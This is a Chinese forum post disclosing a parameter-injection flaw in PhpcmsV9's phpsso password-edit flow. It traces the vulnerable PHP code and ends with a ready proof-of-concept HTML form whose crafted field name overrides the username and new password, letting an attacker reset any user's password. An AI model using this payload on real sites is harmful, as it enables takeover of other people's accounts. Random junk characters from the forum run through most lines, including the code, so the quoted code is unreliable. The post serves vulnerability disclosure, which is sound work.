找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1896|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:: O& ^. n8 |( e' U. i8 F

4 Y4 S3 a" j4 g) I7 N" |% B2 m1 _+ l% T
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);6 L; Y8 m1 D+ E+ ^. ^+ n" x

: H+ I: I( t* d在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! W. S" l& d$ p
3 |% W2 E2 A2 D( z5 @2 {* ], w我把它留给了你们。3 d# p; j8 c$ s9 {2 \
不知道你们发现了它没有。
' P2 N* s8 U7 ?9 A( N" @
: x" H# W' `- L& E我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
( p9 K4 H  x, t: D+ ~1 \
& j) G6 \) J& G$ K  q! l: N( H2 o所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
7 |, G: ^$ ^2 m
) ], P3 ^; M/ f8 @8 _也就是
6 M3 ]' m8 S) t
) S% p' o' m! F- J7 eusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。+ B  ~* l$ _+ b, j) [+ K

' B0 s6 j/ S" X' {要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。6 G6 X1 o- U6 ^2 l5 g5 x0 s
5 U! r- x8 t0 L7 e+ [
5 _' s  J& g1 D( L3 \: d# h
其实我们有这样的机会,看看代码,如下:
' g. W# R- O+ e8 s1 S3 _9 m$ Z# i5 k  @  G: y& U5 f* {8 ?0 w1 p# G; B
; [2 X( l- `6 ?
public function auth_data($data) {
& `3 S5 q5 ~# N0 h  ^                $s = $sep = '';
" n5 M8 H' k  S% l+ L+ @5 m                foreach($data as $k => $v) {
' O" q$ }9 v+ P& ]/ S                        if(is_array($v)) {
; l* N" u) l& Y                                $s2 = $sep2 = '';
) e/ o# u) ~3 C' i; n0 T4 m  I3 ]                                foreach($v as $k2 => $v2) {
( W% ~, I  Z6 T" X4 E* n( M+ l                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
+ U0 d; z0 D: X2 @/ b                                        $sep2 = '&';
" J" e$ z' r9 g; L2 V' E7 w  d                                }
  S* J* i( j2 c4 z5 H0 E                                $s .= $sep.$s2;
- c% W, y9 Z* c5 w1 I+ R' D4 M( w9 [                        } else {. L: k8 N7 V5 F& o* x0 }
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);* Q  B8 S( F9 w, Y8 g0 ?
                        }
! o0 t/ H$ R, i3 N( l2 c                        $sep = '&';0 x) V" V  ^* }' I8 ~; N6 a
                }
! v6 |: J9 K# X! U' S+ j5 m( {, D/ o. \
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
. V% {4 W! K" J0 Z7 s5 ~                return $auth_s;, B& ]- H6 x9 `* |- s
        }. p" v8 w' S7 p+ {7 _

4 `5 e: Z- O" Q8 g可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。0 D$ W, }+ N9 X% u* L0 z. O- o, a

: `. \) ^; ?3 i举个例子8 G. I6 ?' @  Z2 o8 x  I" O

8 d3 A. H, j- H( n6 N- V$a[aaa=a&bbb] = 'a';" w2 z) x7 ~; x' G# p
- L' H" ?& ]7 ^& U( ]2 p* x+ ]0 g
会变成aaa=a&bbb=a* q$ n% {, V- D. r. S" g

; E2 q" ^5 I# R& w5 j5 y明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
2 `8 e; Q& ?" i" D/ j4 v1 K$ x3 f; Q4 ^; ~/ E$ y$ T( l
这个时候,我们可以再去看一个函数。
9 H( n$ X# S5 q: p' }2 q
9 W( C7 t  |* \' Q就在这个文件内:  E( Y( e% b* n1 N1 c/ h* ~$ A! i
# t3 ]$ ?! Q; W3 V- ^
7 a6 g" h( Q5 \9 k) S
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {, n- c  l5 `4 N. }/ E* Z% A$ Z
                if($email && !$this->_is_email($email)) {
3 Y# ]$ W5 L: O- D# C# H                        return -4;3 [+ H3 P( z4 ]8 C
                }. A& Y0 A3 u6 W& V
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
, Z6 P" G% x8 N' W) P        }
. ~8 r1 n- Z! W/ f# u
7 j! ^4 e  |+ t, D- ]3 b5 v这是向通行证发了这样一个请求。
& A! \, ~% u: S3 L' p/ E  \% @! |  H0 Y/ G) X" @1 X
我们再跟到通信证代码里去看看,就会有所发现。$ R4 a8 N, _7 F9 E- p# F
% S  d( b! }+ Z, N' g6 n4 O
' B% ]. ]  T' K0 x/ j! L5 O$ k
public function edit() {; {. W# C- F" J( [8 d. G/ b8 n
//能省就省,太长了不是吗?# F. m0 \  d9 d' E

$ W/ b4 J, |: S# aif($this->username) {' d9 q) V. g2 R5 s1 B' s3 a) L" G
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
3 V% A) Z& R3 t, v6 N, F9 L                                $res = $this->db->update($data, array('username'=>$this->username));
- L9 G) H7 l9 l& m3 |1 q5 l" L                        } else {
$ Y% D; y  Z8 ^                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);4 |, N# g9 C  V' @" a( N6 H
                                $res = $this->db->update($data, array('uid'=>$this->uid));7 b3 c4 R- T$ [1 A, o* e
                        }
9 ?+ i! j1 J) U" L: U9 y) ^1 V9 b* N' u: k1 Z: K/ Q
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:& F- i) m% a& c# T" F6 o" \

1 ~4 X2 F4 E2 ?public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
/ x# r  Q1 m" a* W; m1 E/ o! o' ]( ^
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。1 j4 U' F: f/ T, h+ c

( p* F7 f  y: ^1 y5 P! _我当然找到了:
* ^) ]. t8 [4 yphpcms9/phpcms/modules/member/index.php% X4 F, A: N3 g; y/ m

% M, C9 ]  {2 H8 o6 |$ q' c/ Q% B, y$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
' \0 x) u% H. T
; x3 q0 x( ]6 d7 O0 P然后就没有然后了。
# j4 O+ ]4 z' W8 T# z! ^6 K& a
$ V2 C3 O/ s5 X3 u- C8 |: y- v<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">& u! P8 ~; L9 d6 S" P" [
                                <table width="100%" cellspacing="0" class="table_form">
) z; `9 g* M' h' o1 @' o9 C% T                                        <tr>* D7 Z3 M) ^% z3 G+ F
                                                <th width="80">邮箱:</th>        8 e7 T( B  U$ m8 y% v
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
7 u/ k% a0 e0 P8 m5 ~; z% ]                                        </tr>
8 t: s; L6 p* ^3 T1 Z, u! x- y                                        <tr>
4 f* N$ y9 c$ d# {                                                <th width="80">原密码:</th>        
) a4 v7 o  p* ?( ^                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
- M# ^( u! p2 v6 b) z& n% K                                        </tr>; {2 K: a; e8 c8 N! v  Q5 X
                                        <tr>; y) z5 h& g, ^0 G( X5 ?
                                                <th>新密码:</th>
* j  v1 u- h* e$ M# c                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
/ X" i3 R+ D8 u- N) S6 a  q, R  S                                        </tr>
( }, V; F) o* P  N( _                                        <th></th>0 V( }% M7 A) E# g- z1 M
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>; j5 w, N7 }0 |3 x/ {% m
                                        </tr>
- N6 R# N3 t. f; G9 l; z                                </table>3 I, L% U2 U+ m* H/ t$ f+ U, f9 K" w
& E! H; R& I* p
                                0 ?/ t/ e6 k; I% ~# |3 U5 `
                        </form>$ T9 h! K6 E9 {% `+ N6 Z- R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表